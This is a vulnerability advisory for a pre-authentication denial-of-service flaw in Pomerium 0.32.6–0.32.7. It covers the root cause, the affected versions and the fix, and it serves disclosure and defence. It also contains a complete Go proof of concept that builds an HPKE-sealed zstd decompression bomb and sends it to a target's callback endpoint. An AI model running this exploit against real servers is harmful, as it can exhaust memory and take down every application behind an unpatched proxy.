high · 7.5CVE-2026-50285Jul 15, 2026

CVE-2026-50285: Pomerium Pre-Auth Denial of Service via HPKE Decompression Bomb

Rohit Hatagale
AI Security Researcher, SecureLayer7

Any unauthenticated attacker can crash a Pomerium proxy by sending a tiny HTTPS request that forces the server to decompress hundreds of megabytes of memory before it even checks who the caller is.

Packagegithub.com/pomerium/pomerium
Ecosystemgo
Affected>= 0.32.6, < 0.32.8
Fixed in0.32.8

The problem

In Pomerium 0.32.6 and 0.32.7, the HPKE V2 callback path in `pkg/hpke/url.go` calls `zstdDecoder.DecodeAll()` with no output size limit. A ~19 KB compressed payload can expand to 128 MiB or more in process memory.

The `/.pomerium/callback` endpoint is intentionally pre-authentication (it is the OAuth landing page), so it is reachable by anyone on the internet without a session or signature. The server's HPKE receiver public key is also public at `/.well-known/pomerium/hpke-public-key`, so an attacker can encrypt a decompression bomb with a freshly generated key pair, deliver it, and cause unbounded allocation.

Sender identity is validated only after decompression completes, so the memory spike is unconditional. Repeated concurrent requests can exhaust process memory and take down every application behind that proxy.

Proof of concept

A working proof-of-concept for CVE-2026-50285 in github.com/pomerium/pomerium, with the exact payload below.

go
package main

import (
	"encoding/base64"
	"fmt"
	"net/http"
	"net/url"
	"strings"

	"github.com/klauspost/compress/zstd"
	"github.com/pomerium/pomerium/pkg/hpke"
)

func main() {
	// Step 1: fetch the public receiver key (no auth required)
	resp, _ := http.Get("https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key")
	pubBytes := make([]byte, 32)
	resp.Body.Read(pubBytes)
	resp.Body.Close()
	receiverPub, _ := hpke.PublicKeyFromBytes(pubBytes)

	// Step 2: generate an attacker-controlled sender key pair
	attackerPriv, _ := hpke.GeneratePrivateKey()

	// Step 3: build the decompression bomb (~19 KB compressed -> 128 MiB decompressed)
	plain := "x=" + strings.Repeat("A", 128*1024*1024)
	enc, _ := zstd.NewWriter(nil)
	compressed := enc.EncodeAll([]byte(plain), nil)

	// Step 4: HPKE-seal the bomb (attacker key -> server public key)
	sealed, _ := hpke.Seal(attackerPriv, receiverPub, compressed)

	form := url.Values{
		"k": {attackerPriv.PublicKey().String()},
		"q": {base64.RawURLEncoding.EncodeToString(sealed)},
	}

	// Step 5: hit the pre-auth callback endpoint -- server decompresses before rejecting
	target := "https://TARGET_HOSTNAME/.pomerium/callback/?" + form.Encode()
	fmt.Println("Sending bomb:", target)
	http.Get(target)
	fmt.Println("Done -- server allocated ~128 MiB per request")
}

The root cause is in `decodeQueryStringV2` (`pkg/hpke/url.go`): it calls `zstdDecoder.DecodeAll(raw, nil)` with no size cap. `WithDecoderLowmem(true)` only shrinks the decoder's own buffers, it does not bound the output.

HPKE authenticated mode (`Open`) only verifies that the ciphertext was sealed by the holder of the presented sender public key. Because the attacker supplies both `k` (their own public key) and `q` (the sealed payload), they choose a consistent key pair themselves, so `Open` succeeds.

Sender validation against the known authenticate-service key happens in `stateless.go` only after `DecryptURLValues` returns, meaning decompression already completed.

The fix in commit 593eb81 adds a size check immediately after `DecodeAll`: if the decompressed output exceeds a defined constant (1 MiB is the advisory-recommended ceiling for real query strings), the function returns an error before `url.ParseQuery` is ever called, capping memory consumption regardless of compressed input size.

The fix

Upgrade to Pomerium v0.32.8. The patch adds a hard output-size limit inside `decodeQueryStringV2` right after `zstdDecoder.DecodeAll()`, rejecting any decompressed result larger than 1 MiB. Self-hosted deployments using the stateful authenticate flow (not Pomerium Zero) are not affected because the stateful callback verifies an HMAC-SHA256 URL signature as its very first step, before any decryption or decompression occurs.

Reported by bugbunny.ai.

References: [1][2][3][4]

Related research